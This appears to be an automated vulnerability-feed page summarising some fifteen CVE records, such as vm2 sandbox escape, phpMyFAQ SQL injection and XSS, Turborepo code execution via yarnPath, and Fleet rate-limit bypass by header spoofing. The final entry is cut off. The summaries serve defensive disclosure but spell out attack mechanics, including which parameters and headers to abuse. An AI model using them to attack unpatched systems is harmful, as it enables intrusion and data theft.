Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### python-utcp is the python implementation of UTCP.
https://kevwire.com/record/CVE-2026-45370
python-utcp is the python implementation of UTCP. (May 14, 2026).
python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45370).
Sources:
NVD CVE-2026-45370: https://nvd.nist.gov/vuln/detail/CVE-2026-45370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-45411
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45411).
Sources:
NVD CVE-2026-45411: https://nvd.nist.gov/vuln/detail/CVE-2026-45411
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Microsoft APM is an open-source, community-driven dependency manager for AI agents.
https://kevwire.com/record/CVE-2026-45539
Microsoft APM is an open-source, community-driven dependency manager for AI agents. (May 15, 2026).
Microsoft APM is an open-source, community-driven dependency manager for AI agents. From 0.5.4 to 0.12.4, two primitive integrators in apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read_text(), transparently following symbolic links. A symlink committed inside a remote APM dependency under .apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm_modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories. The package content_hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default. This vulnerability is fixed in 0.13.0.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45539).
Sources:
NVD CVE-2026-45539: https://nvd.nist.gov/vuln/detail/CVE-2026-45539
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Microsoft APM is an open-source, community-driven dependency manager for AI agents. From 0.5.4 to 0.12.4, two primitive integrators in apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read_text(), transparently following symbolic links. A symlink committed inside a remote APM dependency under .apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm_modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories. The package content_hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default. This vulnerability is fixed in 0.13.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ws is an open source WebSocket client and server for Node.js.
https://kevwire.com/record/CVE-2026-45736
ws is an open source WebSocket client and server for Node.js. (May 15, 2026).
ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.
CVSS 4.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45736).
Sources:
NVD CVE-2026-45736: https://nvd.nist.gov/vuln/detail/CVE-2026-45736
Vendor advisory (via NVD references): https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Turborepo is a high-performance build system for JavaScript and TypeScript codebases.
https://kevwire.com/record/CVE-2026-45772
Turborepo is a high-performance build system for JavaScript and TypeScript codebases. (May 15, 2026).
Turborepo is a high-performance build system for JavaScript and TypeScript codebases. From 1.1.0 to before 2.9.14, Turborepo can be vulnerable to arbitrary code execution when run in untrusted repositories that contain malicious Yarn configuration. In affected versions, package manager detection executed yarn --version from the project directory, which could cause Yarn to load and execute a project-controlled yarnPath from .yarnrc.yml. An attacker who controls repository contents could cause code execution when a user or CI system runs affected turbo, @turbo/codemod, or @turbo/workspace conversion commands. This vulnerability is fixed in 2.9.14.
CVSS 0.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45772).
Sources:
NVD CVE-2026-45772: https://nvd.nist.gov/vuln/detail/CVE-2026-45772
Vendor advisory (via NVD references): https://github.com/vercel/turborepo/security/advisories/GHSA-3qcw-2rhx-2726
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Turborepo is a high-performance build system for JavaScript and TypeScript codebases. From 1.1.0 to before 2.9.14, Turborepo can be vulnerable to arbitrary code execution when run in untrusted repositories that contain malicious Yarn configuration. In affected versions, package manager detection executed yarn --version from the project directory, which could cause Yarn to load and execute a project-controlled yarnPath from .yarnrc.yml. An attacker who controls repository contents could cause code execution when a user or CI system runs affected turbo, @turbo/codemod, or @turbo/workspace conversion commands. This vulnerability is fixed in 2.9.14.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.
https://kevwire.com/record/CVE-2026-45800
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. (May 15, 2026).
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, there is an authenticated SQL injection issue in the frontend user order history page in Vvveb CMS. A normal frontend user can log in and access /user/orders. The order_by and direction request parameters are accepted from the URL, propagated through the Orders component, and directly concatenated into the SQL ORDER BY clause in OrderSQL::getAll(). Because of this, attacker-controlled input reaches SQL structure without a whitelist or safe query construction step. This vulnerability is fixed in 1.0.8.3.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45800).
Sources:
NVD CVE-2026-45800: https://nvd.nist.gov/vuln/detail/CVE-2026-45800
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, there is an authenticated SQL injection issue in the frontend user order history page in Vvveb CMS. A normal frontend user can log in and access /user/orders. The order_by and direction request parameters are accepted from the URL, propagated through the Orders component, and directly concatenated into the SQL ORDER BY clause in OrderSQL::getAll(). Because of this, attacker-controlled input reaches SQL structure without a whitelist or safe query construction step. This vulnerability is fixed in 1.0.8.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet is open source device management software.
https://kevwire.com/record/CVE-2026-46356
Fleet is open source device management software. (May 14, 2026).
Fleet is open source device management software. Prior to version 4.80.1, a vulnerability in Fleet's IP extraction logic allows unauthenticated attackers to bypass API rate limiting by spoofing client IP headers. This may allow brute-force login attempts or other abuse against Fleet instances exposed to the public internet. Fleet extracted client IP addresses from request headers (`True-Client-IP`, `X-Real-IP`, `X-Forwarded-For`) without validating that those headers originate from a trusted proxy. The extracted IP is used as the key for rate limiting and IP ban decisions. As a result, an attacker could rotate the value of these headers on each request, causing Fleet to treat each attempt as coming from a different client. This effectively bypasses per-IP rate limits on sensitive endpoints such as the login API, enabling unrestricted brute-force or credential stuffing attacks. This issue primarily affects Fleet instances that are directly exposed to the internet without a reverse proxy that overwrites forwarded-IP headers. Instances behind a properly configured proxy or WAF are less affected. Version 4.80.1 contains a patch. If an immediate upgrade is not possible, administrators should ensure Fleet is deployed behind a reverse proxy (e.g., nginx, Cloudflare, AWS ALB) that overwrites `X-Forwarded-For` with the true client IP, and apply rate limiting at the proxy or WAF layer.
CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46356).
Sources:
NVD CVE-2026-46356: https://nvd.nist.gov/vuln/detail/CVE-2026-46356
Vendor advisory (via NVD references): https://github.com/fleetdm/fleet/security/advisories/GHSA-mxmp-wr3w-rvqx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Fleet is open source device management software. Prior to version 4.80.1, a vulnerability in Fleet's IP extraction logic allows unauthenticated attackers to bypass API rate limiting by spoofing client IP headers. This may allow brute-force login attempts or other abuse against Fleet instances exposed to the public internet. Fleet extracted client IP addresses from request headers (`True-Client-IP`, `X-Real-IP`, `X-Forwarded-For`) without validating that those headers originate from a trusted proxy. The extracted IP is used as the key for rate limiting and IP ban decisions. As a result, an attacker could rotate the value of these headers on each request, causing Fleet to treat each attempt as coming from a different client. This effectively bypasses per-IP rate limits on sensitive endpoints such as the login API, enabling unrestricted brute-force or credential stuffing attacks. This issue primarily affects Fleet instances that are directly exposed to the internet without a reverse proxy that overwrites forwarded-IP headers. Instances behind a properly configured proxy or WAF are less affected. Version 4.80.1 contains a patch. If an immediate upgrade is not possible, administrators should ensure Fleet is deployed behind a reverse proxy (e.g., nginx, Cloudflare, AWS ALB) that overwrites `X-Forwarded-For` with the true client IP, and apply rate limiting at the proxy or WAF layer.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth...
https://kevwire.com/record/CVE-2026-46359
phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth... (May 15, 2026).
phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth token claims. Attackers with Azure AD accounts containing SQL metacharacters in display names or JWT claims can break out of string literals and execute arbitrary database queries.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46359).
Sources:
NVD CVE-2026-46359: https://nvd.nist.gov/vuln/detail/CVE-2026-46359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth token claims. Attackers with Azure AD accounts containing SQL metacharacters in display names or JWT claims can break out of string literals and execute arbitrary database queries.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter,...
https://kevwire.com/record/CVE-2026-46361
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter,... (May 15, 2026).
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46361).
Sources:
NVD CVE-2026-46361: https://nvd.nist.gov/vuln/detail/CVE-2026-46361
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate...
https://kevwire.com/record/CVE-2026-46364
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate... (May 15, 2026).
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46364).
Sources:
NVD CVE-2026-46364: https://nvd.nist.gov/vuln/detail/CVE-2026-46364
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to...
https://kevwire.com/record/CVE-2026-46366
phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to... (May 15, 2026).
phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solution_id_{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, leaking sensitive metadata through redirect Location headers and page canonical links.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46366).
Sources:
NVD CVE-2026-46366: https://nvd.nist.gov/vuln/detail/CVE-2026-46366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solution_id_{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, leaking sensitive metadata through redirect Location headers and page canonical links.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments.
https://kevwire.com/record/CVE-2026-46367
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments. (May 15, 2026).
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments. Attackers can craft URLs with unescaped quotes to inject event handlers, stealing admin session cookies and achieving full application takeover when visitors view affected FAQ pages.
CVSS 8.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46367).
Sources:
NVD CVE-2026-46367: https://nvd.nist.gov/vuln/detail/CVE-2026-46367
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments. Attackers can craft URLs with unescaped quotes to inject event handlers, stealing admin session cookies and achieving full application takeover when visitors view affected FAQ pages.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Yubico webauthn-server-core (aka java-webauthn-server) 2.8.0 before 2.8.2 incorrectly checks a function's return value in the second factor flow, leading to impersonation.
https://kevwire.com/record/CVE-2026-46419
Yubico webauthn-server-core (aka java-webauthn-server) 2.8.0 before 2.8.2 incorrectly checks a function's return value in the second factor flow, leading to impersonation. (May 14, 2026).
Yubico webauthn-server-core (aka java-webauthn-server) 2.8.0 before 2.8.2 incorrectly checks a function's return value in the second factor flow, leading to impersonation.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46419).
Sources:
NVD CVE-2026-46419: https://nvd.nist.gov/vuln/detail/CVE-2026-46419
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Yubico webauthn-server-core (aka java-webauthn-server) 2.8.0 before 2.8.2 incorrectly checks a function's return value in the second factor flow, leading to impersonation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SOGo before 5.12.7, when PostgreSQL is used, allows SQL injection.
https://kevwire.com/record/CVE-2026-46445
SOGo before 5.12.7, when PostgreSQL is used, allows SQL injection. (May 14, 2026).
SOGo before 5.12.7, when PostgreSQL is used, allows SQL injection.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46445).
Sources:
NVD CVE-2026-46445: https://nvd.nist.gov/vuln/detail/CVE-2026-46445
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
SOGo before 5.12.7, when PostgreSQL is used, allows SQL injection.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered in GStreamer gst-plugins-good before 1.28.2.
https://kevwire.com/record/CVE-2026-46470
An issue was discovered in GStreamer gst-plugins-good before 1.28.2. (May 14, 2026).
An issue was discovered in GStreamer gst-plugins-good before 1.28.2. When parsing MP4 audio tracks, the isomp4 plugin's qtdemux_audio_caps function does not sufficiently validate atom data before performing division operations, leading to denial of service due to integer division by zero.
CVSS 4.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46470).
Sources:
NVD CVE-2026-46470: https://nvd.nist.gov/vuln/detail/CVE-2026-46470
Vendor advisory (via NVD references): https://gstreamer.freedesktop.org/security/sa-2026-0018.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An issue was discovered in GStreamer gst-plugins-good before 1.28.2. When parsing MP4 audio tracks, the isomp4 plugin's qtdemux_audio_caps function does not sufficiently validate atom data before performing division operations, leading to denial of service due to integer division by zero.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trog::TOTP versions before 1.006 for Perl generate secrets using rand.
